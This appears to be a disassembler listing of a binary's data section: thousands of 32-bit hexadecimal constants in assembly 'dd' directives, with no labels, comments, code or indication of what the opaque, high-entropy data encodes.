		dd 1306D312h, 1D86770Ah, 59112E70h, 0CBF2F3FAh,	4D84F5CFh
		dd 6DA267B4h, 2CB2071Fh, 0C3427DC9h, 4E05EFB7h,	460B1E1Eh
		dd 0F740CCAEh, 513B6132h, 0E5EA7310h, 31AC0527h, 0CD560FE9h
		dd 2A80D821h, 6886B74Dh, 0D13590Ch, 137D68Eh, 0AED3C05Eh
		dd 8DD7B077h, 0DC9C1811h, 531205DCh, 14BD01FCh,	9FB6E6DEh
		dd 0DDCADD89h, 760EB176h, 789DA5Bh, 75CB1E67h, 40829FD0h
		dd 8525EBD0h, 0A5D3AB86h, 5575F752h, 0A8B759D0h, 2373ACA8h
		dd 182FA389h, 3D878411h, 0E4F51DB0h, 9824958Ah,	0B12B2AF1h
		dd 0BEA1D6B0h, 5AC545A1h, 0E923DFC5h, 1CD3E633h, 76790C55h
		dd 0F626B86Dh, 480D38h,	576D1B23h, 0A4903BB1h, 244E8AA3h
		dd 0A130E54Ah, 0E93B7603h, 0CB738FF0h, 25286828h, 450AD4h
		dd 94B46AE0h, 0E301A8E9h, 0CF8F6C71h, 2D94BC06h, 541A1142h
		dd 2F6DF6EDh, 0F1492A94h, 1106E75Bh, 0F09E4242h, 8352B9C7h
		dd 0C99A23F6h, 852C4BFAh, 409227ECh, 1FACB5CBh,	76E92616h
		dd 5ADB54C6h, 0A0618A7Dh, 0C3AA6883h, 84DE3310h, 25FC20B1h
		dd 0C1E904BBh, 57CF9C70h, 39369672h, 0F32F267Ch, 12EC9C94h
		dd 0D28E97B4h, 0DE6F92ECh, 5DA7DD03h, 22686B43h, 579ABB4Eh
		dd 0E1195775h, 0C14B8085h, 94170E3Bh, 0C74D8C3Ah, 33D4FD09h
		dd 0B8FC465Fh, 46C6B362h, 5C061D8Ah, 194F8421h,	3D60A71Ah
		dd 29CCAD88h, 87BA6FC6h, 663481E7h, 23BB9C65h, 0CD1F1218h
		dd 9146C25Bh, 0CE489A83h, 0BD8FF0B3h, 0DF64B57Bh, 8F7F2A02h
		dd 0F02A6E50h, 884E9A1Ch, 52915306h, 4BA83E53h,	0A8E399A1h
		dd 68B46C5Bh, 0FD6AB38Eh, 0BD855C53h, 319E5B4Fh, 0B8AC0FE6h
		dd 59D3C507h, 16BE54D3h, 7D17788Ah, 0D2842DEEh,	0BCA01A4Ch
		dd 2C13545Fh, 60D22CC2h, 1270C079h, 551EFCFBh, 2D611F9Ch
		dd 638F503h, 15A561F9h
		dd 66CE0398h, 25313DAFh, 0DA635DEFh, 0B8E9BB32h, 84D0DEECh
		dd 47E6D70Ch, 62F570BDh, 0DDA6C10Dh, 0A169E076h, 0F659D198h
		dd 2A267BB9h, 94E9EA5Ch, 0B0D3A09Ch, 519D6A54h,	0A333C296h
		dd 2BD1096Bh, 0B294BADAh, 3C1E5768h, 698723E7h,	0DD0EC9Dh
		dd 0F73AFA38h, 0FBA542FEh, 0E544C979h, 0CE21A847h, 50C0B36Eh
		dd 0CB4E49BFh, 38ADDCE3h, 0D4F138C9h, 528D3318h, 8FC69474h
		dd 0FEE4EC17h, 0ED542695h, 2B7711F6h, 80893D48h, 4BC8EBh
		dd 0E25734F5h, 0A80D85Ah, 6FDD5ADAh, 9F3621Ch, 715B9E1Fh
		dd 0F2E80678h, 6E672944h, 0D32D7F0Ah, 49C4D57Ch, 0CC73704Fh
		dd 69675093h, 3831F051h, 0A484EC1Bh, 0B40CF1E8h, 0B9E84527h
		dd 9BB2A1AFh, 3A5C16DFh, 287CAB34h, 4BA5E278h, 0CA18ED87h
		dd 7D96E637h, 33F63E2Dh, 0AE92AFF5h, 9F2C1F2Ch,	5525BE58h
		dd 0DB6EC185h, 0FE969DA4h, 0AF5C8495h, 76F167ABh, 3960C8D3h
		dd 0D017ECC0h, 76A19921h, 0F318EB63h, 447BF19h,	1023AAC4h
		dd 0B1182EEEh, 0DFC7AA5Ch, 0AB5A67D8h, 47EB25E9h, 3C51E1F2h
		dd 8112D4DBh, 0BCE783EAh, 951E46FEh, 58A5C1D2h,	0D73CC3AEh
		dd 559A90FDh, 0B13D458h, 989BD2EDh, 0C7A8C498h,	8E5550ECh
		dd 81DD0482h, 0AE21A5F9h, 9B8715A4h, 4A11812Bh,	0B9B43CD0h
		dd 0E81265CFh, 7D5C71FAh, 0A08D6FA8h, 0BA308712h, 0B4BF3575h
		dd 2C08F0D0h, 0E312B927h, 7B489F91h, 808A709Dh,	0CFCBDD39h
		dd 43C75551h, 0A8B8032h, 0EAF51712h, 3FD2E2E6h,	373567FEh
		dd 213E4C17h, 0E746A26Bh, 0FE17B6E7h, 2CDB3E87h, 0EA768CF6h
		dd 35C01FEEh, 475F5AA2h, 0A4545E6Bh, 5725A43Ah,	0ECF8F197h
		dd 6D643AE4h, 0A5E955Ah, 85B83F82h, 75292FC1h, 0D8BCC1BEh
		dd 8D64D413h, 87706EEBh, 66061F86h, 4E3E134Eh, 47D8E139h
		dd 0CCE3749Eh, 985990FCh, 4CF9FE2Fh, 6092D562h,	1131F4D5h
		dd 0F900B336h, 0E4C4BF9Fh, 105EBDD6h, 3E13F1F3h, 7CF4FF41h
		dd 68E8C2D2h, 291145F7h, 0AADF71F0h, 80136625h,	0A5A910F8h
		dd 0B3CF1541h, 2C3354FAh, 0E7DFF42Ch, 122C1850h, 2C4E29E6h
		dd 4F6B6C9Eh, 0E6A97E31h, 0C0694D9Ch, 0C8675F81h, 1622B634h
		dd 8A6BA3BCh, 0FBB95852h, 0B10C9C6Dh, 0FBA86124h, 8134FD83h
		dd 1E35B838h, 88BD44BBh, 54131721h, 0D73D2033h,	31A1B15Bh
		dd 0F00F212Ch, 818FC04Dh, 5E28600Ch, 73F4E32Bh,	0B097C48Eh
		dd 7005374Fh, 749A79BCh, 103F1104h, 6C8A4433h, 1E17BE92h
		dd 3F9F9404h, 9A0A8FAh,	0FDE4DAC1h, 8E332675h, 0DB0B73BDh
		dd 0F82920B5h, 0A53DCBE6h, 0B8EE7B1Bh, 29EB72Dh, 6C7253D2h
		dd 0ED7BC55Eh, 6FE0203h, 5A35D845h, 22361D05h, 0FA1245CFh
		dd 6E63D4B7h, 0E3F99CA1h, 0F1CB1DE2h, 0C5CA791Eh, 73E18C76h
		dd 269202ACh, 23C8D7F7h, 742BBFD3h, 2E5356E8h, 85621B87h
		dd 0BE2FCA61h, 53D62821h, 0F5E77ED1h, 0F8AF2D0Eh, 0DA260E1h
		dd 0CE554330h, 1771DFA9h, 0ED6936C7h, 831336F4h, 35AB5FE9h
		dd 191C1B27h, 0B6788CE8h, 0A07C9D88h, 0A06681E0h, 0D1E0BE6Eh
		dd 91E7E543h, 1D1F8A3Bh, 6EB55A9Bh, 59996ECFh, 15F852DEh
		dd 0BE020A0Fh, 468AC9C6h, 6C95D9FBh, 0DE931241h, 5BD4EA1Bh
		dd 88C25020h, 98B5B7B6h, 30503897h, 0BCC62E98h,	0CFCF7214h
		dd 0E2762B34h, 0AC115F7Fh, 90E7AFC9h, 0E59F9ABEh, 52B779D6h
		dd 0E5F4B48Dh, 156277C4h, 672F986Fh, 0B92961E5h, 836041D7h
		dd 6E9036E1h, 0C5A72EDEh, 42DE0B87h, 70BFD181h,	0C4EFFE9Bh
		dd 2E488459h, 1EE142DEh, 0CE5C5FBDh, 0D4A2CB86h, 0CA29E542h
		dd 92C94DBh, 94EB378Eh,	7CDE05C7h, 981B9CBCh, 2C41E3C7h
		dd 38857EF9h, 42F2B333h, 0C18FEC9Ah, 8EDD6E8Eh,	0A24F0E20h
		dd 76D00B39h, 0A306149Ch, 71AAE769h, 18542197h,	0DC96E602h
		dd 4CCE7553h, 8EEC40DFh, 0BAEA5CFBh, 0BF3781E2h, 19DEDBA9h
		dd 3B6B1983h, 8736715Eh, 91E4704Fh, 351BDC03h, 1A240255h
		dd 830D889Eh, 717D2DE0h, 64DB180h, 1A771209h, 3C15210Ch
		dd 7606CC5Ah, 0AAF0129Ah, 36759528h, 2212598Eh,	77BCB1B6h
		dd 28F7CE13h, 655D49Ch,	58025112h, 7FC4533Ch, 109ED070h
		dd 747419BCh, 0D07D7EC9h, 0C7574825h, 45AE3270h, 36CBEAB6h
		dd 0C52BF461h, 2B2EB09Fh, 706D3C85h, 11625B7Ah,	0ACEBD376h
		dd 9031EA52h, 949CF2D7h, 1FD6061Ch, 0D4BEE2FFh,	4D46C87Bh
		dd 0EBDCB187h, 14595461h, 7892F9CBh, 887879EAh,	4946F259h
		dd 0B38D226h, 738DCA1Dh, 92B9FA96h, 63003336h, 7E6F3EB4h
		dd 0DCB06978h, 7173C554h, 0E1432086h, 0E2CE7DAEh, 0A989E472h
		dd 52B2031Dh, 62990AD7h, 0E2500FBh, 0E2D645C5h,	3702A261h
		dd 0E0039BFEh, 1EAE9DE6h, 7B710D32h, 0D0F97BA5h, 0F11619CFh
		dd 38F440BDh, 90989EF7h, 0DC2ED163h, 2C61BB44h,	975CBE73h
		dd 0B6B1E489h, 20EF0C64h, 48615D8Fh, 23CE2802h,	47AB7395h
		dd 0D20E85E6h, 0C322BF13h, 2E2CA69Ch, 9CA13EC3h, 2EAAF0E8h
		dd 107FA4A1h, 0F7325C09h, 7E16F9DAh, 8F115F2Ah,	53ED5D89h
		dd 20EB8F5Fh, 0E3ACA447h, 6D481677h, 920A94D0h,	0D73BFBA2h
		dd 3935E589h, 9DB9B353h, 9BEB9E7Ah, 0D90F498h, 0F7C853Dh
		dd 0E964B3B6h, 37BDC442h, 0B225D643h, 0C407E918h, 696F54D0h
		dd 7CE4A8F8h, 0D335972Eh, 6385AAC3h, 717FEFBFh,	0F19581A8h
		dd 381ADA7Bh, 8770F2DBh, 14E382C6h, 8D61ADCFh, 2C8D795Fh
		dd 0ED4288C7h, 0EC88E973h, 98141A29h, 0BEBDF87Dh, 0F3C2017Eh
		dd 0FE3E7EDh, 0C80698B3h, 79A0C0Dh, 129CB2DEh, 0E327788Bh
		dd 835E99D1h, 2854E519h, 1909D785h, 0F89E49C9h,	0EFE6E823h
		dd 2F44FFA3h, 0E6A3F7Ah, 5FD40FFFh, 66492E2Ch, 0F716C4DAh
		dd 0A5EE3509h, 3DA738CAh, 0E2116BFEh, 73A35785h, 1B309455h
		dd 8B4212E0h, 619796D5h, 922EC0FCh, 0F90500DFh,	0F909378Fh
		dd 0FF2F7122h, 0AD9C3191h, 8FF4203Bh, 67708842h, 2D3D7F9Eh
		dd 13F4FD09h, 0B8FED986h, 0F58C4969h, 2BB3AB29h, 0D8F1245Bh
		dd 0C0FB93F6h, 7FDF488Ah, 0EAB92619h, 82C658DDh, 0C4C8CF52h
		dd 710EBAE7h, 7A05693Fh, 23F37D26h, 38952B61h, 21BF54C1h
		dd 83BBBEBCh, 6CCE4CDBh, 0DD072E2Dh, 9ADDA88Ch,	30ADE973h
		dd 0E011E088h, 27D1E082h, 0D7F95431h, 22F607B6h, 2E6465E4h
		dd 0CDD139ACh, 1E864FD2h, 3A31FC7h, 91D503Eh, 9588B33Fh
		dd 0E9502CDCh, 0A5B32815h, 4FE8F3FAh, 62623115h, 73460CE8h
		dd 0E29846E6h, 0AD4A74CBh, 0D5422ABEh, 651F23Ch, 0AD972BB9h
		dd 2FBF278Ah, 0FBADFC0Fh, 62A56115h, 0FD700C37h, 94042897h
		dd 0DCCD135Dh, 9D005F04h, 815CB80Dh, 19A1DA68h,	0AE4CFAE5h
		dd 637CC140h, 0BD848F22h, 0F01AB4CDh, 14227FF1h, 0DE17358Ah
		dd 0DFF60ED4h, 0E0FD9560h, 0FA73559Ah, 0C3377C66h, 10ECA175h
		dd 4156BCE2h, 0FC17C32Ch, 5B7A6DD6h, 2DD10159h,	2967F941h
		dd 7999BD0Eh, 621BBEC9h, 5B9E8000h, 0CF3778A8h,	2D9ED151h
		dd 0A9C23CFFh, 0F1784920h, 90004214h, 1EB94951h, 0A40B01D0h
		dd 0C135088Bh, 10A90E09h, 0DBFFFC4Dh, 0D0B04CD6h, 30A10AA8h
		dd 8C9125C2h, 0D7ED467h, 0A30E811Bh, 6AC3A492h,	0AEBF7BFFh
		dd 0F8988962h, 0A5AB8C34h, 61924B9Ah, 0FC42B0D1h, 68CB6BD5h
		dd 8BF3BFFCh, 691FF6ABh, 714C2088h, 6129AF61h, 0E7E9CC40h
		dd 0DA5D7581h, 147EEC90h, 0AA8FFCF2h, 28674668h, 60056158h
		dd 0E7E99719h, 48140C06h, 7024A367h, 0F5DA15FBh, 628A965Fh
		dd 42E27D77h, 0CE94DD62h
		dd 0E068BC55h, 0DAF18998h, 4AFAF2ADh, 243149D9h, 6D040B1Ch
		dd 0EABD2E38h, 8CAF93D1h, 0ED488315h, 59F12282h, 51B3D0EEh
		dd 0B168D312h, 9689EF6Ch, 977AEF17h, 6546E77Ah,	0C6EE4249h
		dd 0B05C0366h, 0E2C8A04h, 0DEC60251h, 0D2C53B68h, 0BDE1808Ch
		dd 0AAAB14F0h, 8F2D8203h, 0DFD6DDB5h, 359C398Ah, 7BD00866h
		dd 18DAFE8Bh, 0D2047A5Bh, 35E672D0h, 1D80A7C2h,	0EEDD9EE5h
		dd 0F9E8F531h, 0E522AB0Eh, 56AD7629h, 29952B19h, 0D6A1EACCh
		dd 0BC2590C5h, 9B9C603Ah, 7C399A96h, 70E83057h,	9CCF6995h
		dd 0C1E52D2Dh, 0E34BEF02h, 1B64E505h, 0A64A5FD8h, 5185D9AEh
		dd 13F7B053h, 0CD3D0AA8h, 0A32233A7h, 0D090A592h, 1E67D3CCh
		dd 0FD62637Ch, 6B2196BCh, 0AA81AC2Bh, 29742BE8h, 75BDC41Bh
		dd 5DA0C858h, 0BEB11D59h, 0E0652EE0h, 6F348FDBh, 38C31021h
		dd 0EAF06974h, 166C7312h, 0B8349754h, 0D6BE9675h, 61A8D2BDh
		dd 18EB0992h, 966FE024h, 8938979Bh, 3B3838D8h, 0D035A81Fh
		dd 28227820h, 0DF97D2FAh, 0BEDB3F4Dh, 0C1CD6A5h, 4809DF30h
		dd 27D43B6Fh, 0EDE6A0D8h, 0AD138637h, 0E266F43Ah, 74373DB6h
		dd 0A7658F22h, 1968E1F4h, 24863B42h, 0BB310367h, 8090A82Dh
		dd 0FADDDD27h, 0E049C4D2h, 53D600BFh, 0DDAADC77h, 3D01E1C5h
		dd 7E1BD6EDh, 903BC395h, 3FA4BDDh, 96545A44h, 910C31AEh
		dd 524FF0E4h, 3373A230h, 0FAF6F6AFh, 0FE3C62D2h, 21A25881h
		dd 0AC8B7DF1h, 0BBEC199h, 0ABCCCF89h, 4D5DA04Dh, 21378D7Bh
		dd 7856E1ACh, 4E8110DCh, 0F3E80BCAh, 0F5CA85A9h, 8A3B543Ah
		dd 0DF895CFAh, 0C18A3BDCh, 0C9F75887h, 2655891Eh, 0C0CA59AFh
		dd 10EDDDE3h, 0FCFD6602h, 33C6CFA3h, 422BD7C7h,	0AC497721h
		dd 0E12F7A34h, 27CE0EBDh, 1D74A4B5h, 395536C4h,	0F9725917h
		dd 0C563BD1Ch, 51A87A8Dh, 0C9240B54h, 0C9269713h, 4EEDF8DFh
		dd 0A748180Fh, 46D03650h, 780AB91Eh, 0CF37A88h,	4EAFF446h
		dd 2F19E3B4h, 0F291F584h, 5C75E62Dh, 0B0B31B21h, 15B3E72Dh
		dd 7A2375CCh, 7E63CC4Dh, 0B466984Eh, 1923708Bh,	0B51A402Fh
		dd 8E33009Dh, 0DCFD4BD1h, 4423392h, 30537EA8h, 18155C7Fh
		dd 4D5F7C96h, 77E57D5Eh, 0D599A5CBh, 626C3A9Ah,	18527142h
		dd 7294BFD7h, 55BCD0FDh, 3A3902B1h, 5B2A0B86h, 7861F51h
		dd 0DC2BCB92h, 7197C4F8h, 0F6C2EEF7h, 71E5AB2Eh, 0A6AE418Ch
		dd 0DA27BE5Fh, 5DE59956h, 0F32461A3h, 0A882760Dh, 71FFC0EBh
		dd 0F45BC523h, 987671B9h, 32AE0E01h, 0A6BD5DAFh, 0D29EB024h
		dd 0E24B6A27h, 1216225Bh, 0BC92B1CBh, 0A3A141EDh, 6D139D0Ah
		dd 78B047C5h, 56D34466h, 0B044B5B2h, 28FF787Eh,	0B2635952h
		dd 74A29506h, 0D6A0F5BBh, 67681623h, 44EC0CCh, 4E167F74h
		dd 60DF9F05h, 4A28875Fh, 7286A48h, 953E7EBCh, 327D197Eh
		dd 0D3C92D53h, 0CB036402h, 4B7B9BA5h, 0D75CAC99h, 966C96A2h
		dd 5DF7B39Fh, 61B2E4CAh, 0A6D3FB57h, 681ED032h,	0BABC314Dh
		dd 0D8394746h, 0AE707E41h, 3381F6BBh, 92C00D27h, 0ED6729E1h
		dd 3B7B210Bh, 12120B03h, 3B5ABA56h, 7C753698h, 7B023720h
		dd 8CE57DC4h, 0CF21AD66h, 534EB6BFh, 0C0989Eh, 0DB56788Eh
		dd 0E8A0533Bh, 3888470Fh, 7C9ECF57h, 0DF9B5F82h, 32A7C39Bh
		dd 0F41E3C0Ch, 2FF69DECh, 226CC9D7h, 0ED76E176h, 51583753h
		dd 59D1F1DDh, 4208A52Ah, 0DD834362h, 4393858Ah,	0C0303A3Eh
		dd 0A2019ECFh, 0C50C98F0h, 97253DCBh, 0C99C6FFFh, 52A50B29h
		dd 95C9FCF2h, 0D3A87D38h, 0C4067FB8h, 44FD557Fh, 5E8B6353h
		dd 31BEE7ECh, 3B3882ECh, 0B38D41A6h, 732FAB4Eh,	0F849711Bh
		dd 0F9D2FE3Fh, 0A0220F1h, 96EECF9Bh, 0A0ABCD9Eh, 5D1CF60h
		dd 0AD6A7875h, 71686CD8h, 7FBBCD04h, 3C7ECA2Ch,	0A10FA7E9h
		dd 5B55A693h, 0CA0DCBDEh, 5AA89FEFh, 0F966761h,	0C9622BCEh
		dd 0A6001EEAh, 5785F280h, 3C73FD2Ch, 0AEDFDF6Fh, 8001EEDDh
		dd 342F2CC7h, 5560CFCEh, 975F093Bh, 0C623FFD5h,	83A85B2Eh
		dd 24F6A42Ah, 767D4AE1h, 0DBAF1A22h, 0FD147E96h, 21D52DB5h
		dd 2569F6E5h, 0C0B7410Bh, 5D8AC5CCh, 4E8228BDh,	0A6477FDCh
		dd 261CAB00h, 16270CFBh, 0AF8E7F63h, 0B4C820CFh, 0A6F7F116h
		dd 3F7657CBh, 3AE8D7A5h, 191B610Ah, 0B953AD53h,	22BF334Ch
		dd 0AEF4F6Fh, 0B8AAFBDh, 108CF800h, 2EA6C9CCh, 1C3A7499h
		dd 9FBFA43Ch, 212745EEh, 43318D8Ch, 91D88E54h, 3497F847h
		dd 0BD6E9636h, 0EAC37F44h, 1823A73Ch, 41DFB7FEh, 0BF3CB194h
		dd 0CFCF21B0h, 6AAD4C56h, 0DF5BDC75h, 80AF8AEh,	0C045C670h
		dd 0B4C4FE3Ah, 39AB6488h, 0A15689D5h, 0A0E26E7Ch, 134DF5DBh
		dd 212A876Eh, 13FE3DBFh, 0E85E9232h, 0A890326h,	6561BA5Ch
		dd 0D64F9F3Ch, 0C1735A2h, 0C7B78A1Bh, 0FE271EB9h, 0EA51E395h
		dd 0F7EC8B27h, 5D531238h, 956B97Dh, 7742196Ch, 0B21F4CA0h
		dd 0A3FB0A90h, 847D79F2h, 2495BC68h, 895C0437h,	0E64FB4B2h
		dd 0FDFD42F5h, 5551C628h, 0C627132h, 17F2DE45h,	47656C66h
		dd 0F40D28D7h, 7666D668h, 0EB35D96Ch, 0FED6E409h, 0AAB71B2Bh
		dd 0A66D2687h, 0CC119219h, 3E025F82h, 0F581D963h, 19E9CAC1h
		dd 0FE678CBAh, 5716C5DBh, 460B0236h, 8EC40AA4h,	6D02D083h
		dd 939BAB9Bh, 0B9632752h, 0C5907F70h, 127474C6h, 0B35250C0h
		dd 76404777h, 0B22DC910h, 44999B0Bh, 0B4C5A7ECh, 4CC50697h
		dd 9F5EB281h, 27A70670h, 0FCCA06A1h, 0EEF81DA9h, 5ABE8A4Bh
		dd 0AB56FC4h, 0C8007F1Fh, 2C27A268h, 0C5047CC2h, 8F97535Dh
		dd 65C05FADh, 9325EEABh, 17B527DBh, 4487FF07h, 0B02B778Ah
		dd 9482A6B6h, 0B446B406h, 8D228A28h, 0B4D673F9h, 0F15217E2h
		dd 0BCB6361Ah, 17786D45h, 0ECCB4E17h, 38F34FBDh, 0D4F10BE6h
		dd 56628FF0h, 0DD0D7B42h, 0E9D22B7Bh, 3F4880ECh, 52013638h
		dd 3927A4A0h, 7521CF4Dh, 7AA48A2h, 846A99CEh, 845B0F28h
		dd 2F0808E0h, 0CA323603h, 0F4FA3DCBh, 449AF77Dh, 534944ECh
		dd 6F11AF6Bh, 6269798Ch, 881DB401h, 9F3444CAh, 0B8247990h
		dd 201C87C6h, 0C68AFB82h, 5EA6F9CFh, 7FF957F2h,	0BCE640ECh
		dd 40E50CBCh, 0AD3138A3h, 8E948587h, 0FC938C29h, 0C8D7C266h
		dd 4A21FCF4h, 251A5B56h, 7F8B2CB4h, 528E7525h, 909821B8h
		dd 89257C31h, 0BDF382F8h, 2D68C9E4h, 0E71E2FE9h, 98987042h
		dd 0C3ACA415h, 0DEB42763h, 0AE8E205Dh, 4EB69F46h, 5D1C26A1h
		dd 0D1072C0h, 526EFC48h, 0FE2A9A67h, 7541A9A7h,	88EEB685h
		dd 0D95FCC5Ah, 80BD9652h, 5520EF6Ch, 0CC857F46h, 0C8AC3F3Eh
		dd 0F257EB69h, 5BB49C41h, 8E6ED7AAh, 743A6246h,	0BB6EAC40h
		dd 75818BDEh, 66275BA0h, 8694B811h, 4B7FF408h, 907B97D3h
		dd 1CE5706Ah, 0F506157Fh, 0A34A59FBh, 0E71C1539h, 340B262Ch
		dd 94D050D0h, 0D5E884EEh, 682E135Eh, 8FF96AA6h,	0BB8E8B0Ah
		dd 0EEBC59DDh, 84D9E300h, 0E9D60074h, 66A9DC9Bh, 8A76187Fh
		dd 79BC27D2h, 5D3F4E7Eh, 351CFBF9h, 0D0CDC6E2h,	0D42611B0h
		dd 404EFD3h, 5553E2F2h,	0E1D62044h, 0CA757226h,	7205910h
		dd 529AA50Dh, 0F6594302h, 0B767F2C1h, 0C00EECC6h, 8AFB04A5h
		dd 1F05DA92h, 64B6CEE0h, 0DD3E6EE8h, 0E165BA7Ch, 0BF328CA8h
		dd 30E3E17Bh, 0FB09F684h, 0A7C1CFBEh, 57C8077h,	948227C7h
		dd 859001A3h, 0ADCEAB1Ah, 72BA1606h, 3E1406E1h,	0C0C25D92h
		dd 0AEFE618Ah, 4BA00204h, 0AA860F7Bh, 0B10B03E2h, 0AA6E7A9Ch
		dd 6B231093h, 84C74DF2h
		dd 86C36705h, 5F796EC9h, 0BC2816Ah, 4E0956F4h, 4D33F258h
		dd 16BDDD1Ah, 0D02FA09Ch, 920EA5CCh, 368D2F56h,	6237D596h
		dd 62E2E388h, 5BDBE806h, 877A994Ah, 12CC6212h, 0CABB2E82h
		dd 0A5BE510Dh, 9DB5B4C4h, 24270FA3h, 4FB982E4h,	8FD57A08h
		dd 6F4F4CD6h, 27122B6Bh, 9868FEDFh, 0AC12C27Eh,	90A30704h
		dd 94CC0AB9h, 19674B24h, 3F041A80h, 406719B9h, 0F4B3797Dh
		dd 81261099h, 71EF9201h, 4D5D4516h, 0E1A3EF08h,	5B9C69ADh
		dd 5FE7EDA3h, 0D73C0FBBh, 245BB46Eh, 0C4EF0AEAh, 4185037Dh
		dd 32AED795h, 372CB149h, 93D9DA05h, 0FFBBBA7Ah,	77DC969Fh
		dd 0BBE2EE03h, 0B6B966E6h, 2D816823h, 8676631Ch, 0F17A8266h
		dd 0D0C63E28h, 0CE8EA404h, 0E383615Dh, 87BD4E20h, 0A7C09D01h
		dd 362C0BA3h, 0A336FF04h, 0BE577255h, 0F79B0384h, 2FC9F066h
		dd 0AD3F943Eh, 0C323311Eh, 0F50ECBCBh, 147B927Eh, 0B934AD31h
		dd 0E4BFE60Ah, 0BDC7E9D7h, 0A6DB9EBh, 681614A1h, 0F10CAFF7h
		dd 877CEF08h, 0A92C44CBh, 0CD0980C8h, 0E7C9EE9Ch, 56F777E4h
		dd 79A045E5h, 0E099ABFCh, 156C0809h, 1C19CA87h,	10EB8667h
		dd 0B68F2612h, 973DCF65h, 0BF098EE9h, 17A1DEE5h, 0EC4797F2h
		dd 40B6C1E4h, 3E217BEAh, 30273C16h, 2C3021F2h, 6DC6454Bh
		dd 80C45BD6h, 0D109D4F6h, 70E42175h, 0B71E7F05h, 0DF730EAEh
		dd 8EBA91FFh, 48B2105Bh, 7BD4E25h, 0D6328068h, 49C290A1h
		dd 85D5B0C3h, 0C765418Bh, 952856B2h, 635EED1h, 0A02FFD55h
		dd 0B8CA79CAh, 5EBC544Dh, 0CFD7782Ch, 7CCD0A0Ch, 6C6DFDC7h
		dd 24215B82h, 821F467h,	3DA7B611h, 93764C20h, 0CA77DAD8h
		dd 0B1B5708Ah, 6EA2327Eh, 431739ADh, 8719E148h,	3F9BEF18h
		dd 6F9940FCh, 3BAE087Bh, 7B024A29h, 9E83C0C1h, 0C6FBD9A5h
		dd 2CC6938h, 98F4FD9Bh,	2A8ED171h, 4857F943h, 906E40B0h
		dd 79384A7Bh, 128B7A74h, 716542C1h, 0EAC41AE3h,	55296F09h
		dd 74E7EA07h, 0DD3C3819h, 944FDE2Ch, 60B15AFCh,	0D83434BEh
		dd 0DBEDF761h, 0CC20461h, 748182F2h, 1F24D30Bh,	0AFC2C43Ah
		dd 8BC5A9E6h, 0D0032663h, 4BF09732h, 50D991E9h,	9E85398Dh
		dd 32C29F68h, 6F9050A3h, 0B7CBBBF6h, 7E9B5AC1h,	9FFCD31Fh
		dd 0CAB142F3h, 0C63FF772h, 0E8F796ADh, 56B272F2h, 0E790B172h
		dd 0B00330E6h, 85865AF3h, 6BDAD2E2h, 92098C01h,	0EFA9A063h
		dd 1E319E9Eh, 85E2575Ch, 1583BC0Ah, 4C1EFC6Dh, 202526E1h
		dd 222ECAEFh, 0FC403F65h, 0FAF64636h, 70CD0EFFh, 6546EC8Dh
		dd 89A41DB0h, 198B4033h, 3109F50Eh, 20FAEA54h, 0C9117593h
		dd 168C1AB3h, 519BDAB1h, 0D207B8FEh, 0A3248CBDh, 9CF95677h
		dd 0D81F2421h, 85682897h, 0BB83F36Fh, 0E07E4835h, 0C0F67B1Fh
		dd 8A43EE49h, 46A8711Ch, 6A982C55h, 69D31FA0h, 2D0273D9h
		dd 8F2DDAC1h, 7B942F8Ah, 0D026309Ah, 0ED9452D5h, 0B3BD1B68h
		dd 11BCAE2Fh, 7DCA8AC5h, 21FA5EA5h, 5BE3BEB6h, 1D4B658Dh
		dd 0A7E70CF7h, 2E9E1AF2h, 99057090h, 7F912CE9h,	9AE5D13Ch
		dd 0E8B7B8CFh, 4EABAA29h, 0FD8BDFEEh, 18B26A6Ch, 0F577B925h
		dd 0F094E7D3h, 362C24CBh, 22876B42h, 1D56B588h,	4B928D7Ah
		dd 40F2873Ah, 75FC4881h, 8289BD36h, 0B6878819h,	7E8E09CAh
		dd 0A5769E75h, 9DFFA77Ch, 72A9CAD6h, 0DD0952AAh, 8CD3D984h
		dd 20EDD798h, 8DDB8631h, 0DDD086h, 7B6988A1h, 5A1FFE46h
		dd 0C8C7CB47h, 77DD9D2Dh, 2F54E244h, 0C8482471h, 0E5AC6A48h
		dd 80A06E98h, 709E52B5h, 0AD89E759h, 64762E56h,	2F69E076h
		dd 0C2F04830h, 0E4B654F0h, 86FD9C5Dh, 5E6DD43Eh, 9F134ECEh
		dd 9C6EBAC4h, 0FE833E76h, 0C954ACFFh, 3D785ED2h, 0B93BCE9Fh
		dd 0D1425EB3h, 0E7FF7DF8h, 9C846612h, 4746A754h, 50941E35h
		dd 78AC0D94h, 9B14062Eh, 7C529B4Bh, 0CFAF0E9Dh,	0EE8C147Bh
		dd 656798C5h, 0D05C28F8h, 7A0294ACh, 0CC93A38Dh, 61A390CEh
		dd 4730DDA0h, 179E3B02h, 0A87AEA21h, 0C5B37C3Ah, 1A791852h
		dd 19840169h, 28509E9Fh, 0B37893B6h, 8B5EB7FCh,	0C2819AAh
		dd 0B33A7CC4h, 0BA5AC335h, 0F2EF18B9h, 0B861BE41h, 0F2681C05h
		dd 35AE6756h, 1AB11881h, 2B7556C0h, 886BAD89h, 3FAC57CAh
		dd 5988FC4Eh, 186AB2F3h, 1861D563h, 29FE2280h, 0E66A3782h
		dd 70D362CFh, 3999D9DFh, 44D46F2Dh, 969DEA5Fh, 52EE013Bh
		dd 8DF32119h, 1BFD8232h, 5CA9FC3Eh, 97CA9B0Ah, 76B92126h
		dd 4B671546h, 0B0CF1FBh, 2E24637h, 182A63Ch, 0C29C68A4h
		dd 38976114h, 0F04EF9F8h, 0F574EE47h, 6F67CF27h, 9F0A4D70h
		dd 0EF1FF72Fh, 5CFCE5E8h, 24195A24h, 154D1C2Bh,	53D3556Ah
		dd 75FCDABBh, 9C59EC6h,	0FF80BB4Ch, 0A078414h, 29DCFE0Eh
		dd 0EEF860FEh, 4D94A735h, 29EFFDE9h, 3ED4C30h, 51D8E98Bh
		dd 4D4B9C99h, 61EC4AF3h, 11B274FAh, 0EAB22A92h,	0B30E17BAh
		dd 46EA54EEh, 22F91C9Bh, 0E209D2F6h, 0A16E5B83h, 7C23936h
		dd 0E68AFDABh, 85AF920Eh, 6C009EDFh, 8939EBD4h,	8317B280h
		dd 0D9F0D4CEh, 0EE4D24CEh, 638D577Ch, 0C64EC310h, 863680ABh
		dd 0B64D90FCh, 0C5356667h, 0C6A63410h, 0D871CD5h, 7E6CD33Eh
		dd 8D4F3301h, 4A1E79BDh, 0CED476E8h, 634762E9h,	0AE165AB4h
		dd 9372B809h, 3D385D7Ch, 92EFD92Bh, 332726EFh, 4EAF99ACh
